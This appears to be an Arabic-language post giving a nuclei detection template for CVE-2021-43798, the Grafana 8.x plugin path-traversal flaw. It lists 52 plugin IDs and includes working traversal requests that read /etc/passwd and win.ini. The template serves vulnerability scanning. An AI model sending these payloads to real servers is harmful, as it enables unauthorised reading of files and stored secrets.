
CVE-2021-43798:Grafana ثغرة قراءة الملفات التعسفية
تم إضافة قالب nuclei للكشف عن جميع إصدارات Windows + Linux
قائمة الـ 52 إضافة:
live
icon
loki
text
logs
news
stat
mssql
mixed
mysql
tempo
graph
gauge
table
debug
zipkin
jaeger
geomap
canvas
grafana
welcome
xychart
heatmap
postgres
testdata
opentsdb
influxdb
barchart
annolist
bargauge
graphite
dashlist
piechart
dashboard
nodeGraph
alertlist
histogram
table-old
pluginlist
timeseries
cloudwatch
prometheus
stackdriver
alertGroups
alertmanager
elasticsearch
gettingstarted
state-timeline
status-history
grafana-clock-panel
grafana-simple-json-datasource
grafana-azure-monitor-datasource
id: grafana-file-read
info:
name: قراءة ملفات عشوائية في Grafana v8.x
author: z0ne,dhiyaneshDk
severity: عالي
reference:
- https://nosec.org/home/detail/4914.html
- https://github.com/jas502n/Grafana-VulnTips
- https://twitter.com/pyn3rd/status/1468138032477859841
- https://twitter.com/naglinagli/status/1468155313182416899
tags: grafana,lfi
remediation: ثغرة LFI ذات اليوم الصفري غير المصححة في Grafana يتم استغلالها بنشاط الآن، وهي تؤثر فقط على Grafana 8.0+، يجب على الشركات المتضررة إلغاء الأسرار المخزنة في /etc/grafana/grafana.ini في أقرب وقت ممكن حيث لا يوجد إصلاح رسمي في الوقت الحالي.
requests:
- method: GET
path:
- "{{BaseURL}}/public/plugins/{{plugin-id}}/../../../../../../../../etc/passwd"
- "{{BaseURL}}/public/plugins/{{plugin-id}}/../../../../../../../../c:/windows/win.ini"
- "{{BaseURL}}/public/plugins/{{plugin-id}}/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd"
- "{{BaseURL}}/public/plugins/{{plugin-id}}/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fc:/windows/win.ini"
redirects: false
max-redirects: 1
payloads:
plugin-id:
- live
- icon
- loki
- text
- logs
- news
- stat
- mssql
- mixed
- mysql
- tempo
- graph
- gauge
- table
- debug
- zipkin
- jaeger
- geomap
- canvas
- grafana
- welcome
- xychart
- heatmap
- postgres
- testdata
- opentsdb
- influxdb
- barchart
- annolist
- bargauge
- graphite
- dashlist
- piechart
- dashboard
- nodeGraph
- alertlist
- histogram
- table-old
- pluginlist
- timeseries
- cloudwatch
- prometheus
- stackdriver
- alertGroups
- alertmanager
- elasticsearch
- gettingstarted
- state-timeline
- status-history
- grafana-clock-panel
- grafana-simple-json-datasource
- grafana-azure-monitor-datasource
stop-at-first-match: true
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- "for 16-bit app support"
- type: status
status:
- 200